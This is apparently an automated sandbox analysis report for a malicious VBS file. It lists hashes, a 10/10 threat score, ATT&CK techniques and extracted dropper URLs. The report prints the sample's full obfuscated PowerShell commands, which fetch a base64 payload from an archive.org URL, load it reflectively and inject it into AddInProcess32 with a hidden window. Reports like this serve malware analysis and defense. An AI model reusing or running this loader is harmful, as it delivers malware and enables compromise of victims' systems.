cfe9d1eca804cfb9d54224474dd7e71a2ee2b19d3b721728bd9e8ec326c5594f

General

Target

Label_PL001292992.vbs
Size

509KB
MD5

2ed45f6abaeb502d6ff4d23237566c94
SHA1

d284892891b5f51bc38225e9e5facbbaaff5e714
SHA256

cfe9d1eca804cfb9d54224474dd7e71a2ee2b19d3b721728bd9e8ec326c5594f
SHA512

4e2ef24f5bd791fb9e457c17f7224358bf2c34d4831b1af4929d3f144284ac52c1828b6c4df2342738e878ba80e80a16ec18592fab258ddd8e6c1fd143f0bfaa
SSDEEP

12288:ZFQtuemF7ZN1OFvOuozQnL8ZoaoBIonqqzUSOEUDYTXnnvxwKt+MmBsHHG6LiF/O:CNNwqunWp

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2664	powershell.exe
6	2664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2696	powershell.exe
2664	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2696	powershell.exe
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 2696	1444	WScript.exe	30
PID 1444 wrote to memory of 2696	1444	WScript.exe	30
PID 1444 wrote to memory of 2696	1444	WScript.exe	30
PID 2696 wrote to memory of 2664	2696	powershell.exe	32
PID 2696 wrote to memory of 2664	2696	powershell.exe	32
PID 2696 wrote to memory of 2664	2696	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Label_PL001292992.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggKFtTVFJJbmddJFZFUkJPU0VQckVGZXJlbmNFKVsxLDNdKydYJy1qT2lOJycpICgoJ3UnKydobHVybCA9ICcrJ1QnKydObGh0JysndHBzOi8nKycvJysnaWE2MCcrJzAxMDAuJysndXMuJysnYScrJ3JjaGl2ZS5vcmcnKycvMjQvaScrJ3RlbXMvZGUnKyd0YWgtbicrJ290JysnZScrJy12JysnL0RldGFoJysnTicrJ290ZVYudHh0VE5sOycrJ3VobGInKydhc2U2NENvbnRlJysnbicrJ3QnKycgPSAoTmUnKyd3LU9iamVjdCBTJysneXN0ZW0uTmV0LldlYkNsJysnaWVuJysndCkuRG8nKyd3bmxvJysnYScrJ2RTJysndHJpbmcodWhsdXJsKTt1aGxiJysnaW5hcnlDb250ZW50ID0gJysnW1N5c3RlJysnbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluJysnZygnKyd1aGxiYXMnKydlNjRDb250ZW4nKyd0KTt1aGxhc3NlJysnbWJseSA9IFtSZWZsZWN0aW9uJysnLkFzc2VtYicrJ2wnKyd5XTo6TG9hZCh1aGwnKydiaW5hcicrJ3lDb250JysnZScrJ250KTt1JysnaGx0JysneXAnKydlID0gdWhsYXNzZW0nKydibHkuRycrJ2V0VCcrJ3lwZSgnKydUTmxSdScrJ25QRScrJy5Ib21lJysnVE5sKTt1JysnaGxtZXRob2QgPSB1aGwnKyd0eXBlJysnLkcnKydldE1ldGhvJysnZCcrJyhUJysnTmwnKydWQUlUTicrJ2wpO3VobG1lJysndGhvZC5JJysnbnZva2UoJysndWhsbnVsbCwgW29iaicrJ2VjJysndFtdXUAoVE5sMCcrJy9CeHlvJysnQi9kL2VlLicrJ2V0cycrJ2FwLy86c3B0dGgnKydUTmwgLCBUTmxkZXNhdGl2YWRvVE5sICwnKycgVE5sZGVzYXRpdicrJ2Fkb1RObCAsJysnICcrJ1RObGQnKydlc2F0aXZhZG8nKydUTmwsJysnVE5sQWRkSW5Qcm9jZScrJ3NzMzInKydUTmwsVE5sVE5sKSknKS5yZXBMYWNFKChbY2hBcl04NCtbY2hBcl03OCtbY2hBcl0xMDgpLFtzdHJJTmddW2NoQXJdMzkpLnJlcExhY0UoJ3VobCcsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([STRIng]$VERBOSEPrEFerencE)[1,3]+'X'-jOiN'') (('u'+'hlurl = '+'T'+'Nlht'+'tps:/'+'/'+'ia60'+'0100.'+'us.'+'a'+'rchive.org'+'/24/i'+'tems/de'+'tah-n'+'ot'+'e'+'-v'+'/Detah'+'N'+'oteV.txtTNl;'+'uhlb'+'ase64Conte'+'n'+'t'+' = (Ne'+'w-Object S'+'ystem.Net.WebCl'+'ien'+'t).Do'+'wnlo'+'a'+'dS'+'tring(uhlurl);uhlb'+'inaryContent = '+'[Syste'+'m.Convert]::FromBase64Strin'+'g('+'uhlbas'+'e64Conten'+'t);uhlasse'+'mbly = [Reflection'+'.Assemb'+'l'+'y]::Load(uhl'+'binar'+'yCont'+'e'+'nt);u'+'hlt'+'yp'+'e = uhlassem'+'bly.G'+'etT'+'ype('+'TNlRu'+'nPE'+'.Home'+'TNl);u'+'hlmethod = uhl'+'type'+'.G'+'etMetho'+'d'+'(T'+'Nl'+'VAITN'+'l);uhlme'+'thod.I'+'nvoke('+'uhlnull, [obj'+'ec'+'t[]]@(TNl0'+'/Bxyo'+'B/d/ee.'+'ets'+'ap//:sptth'+'TNl , TNldesativadoTNl ,'+' TNldesativ'+'adoTNl ,'+' '+'TNld'+'esativado'+'TNl,'+'TNlAddInProce'+'ss32'+'TNl,TNlTNl))').repLacE(([chAr]84+[chAr]78+[chAr]108),[strINg][chAr]39).repLacE('uhl','$'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WWZWGAU9DRAHWK1NOJNI.temp

Filesize
7KB

MD5
a057eafe686cc7a2bf70bdb1d4fa554b

SHA1
cd7203cfdcb2499ee5a972ebd48a42de647cd640

SHA256
694eb3b133bfc1abe962c3f069340c26fd6566e751f66363dc9ab7daad9db75f

SHA512
194084937131cdd7f7f209405a4df71145e2d6b48b34738d7a32dbaca6fc08facd34bc78202ffcbd3ab82c8b2130d529fa7743754e5b168a6206f2451005cadf

Download Submit
memory/2696-4-0x000007FEF5F0E000-0x000007FEF5F0F000-memory.dmp

Filesize
4KB

Download
memory/2696-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2696-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2696-7-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-8-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-9-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-10-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-11-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2696-17-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing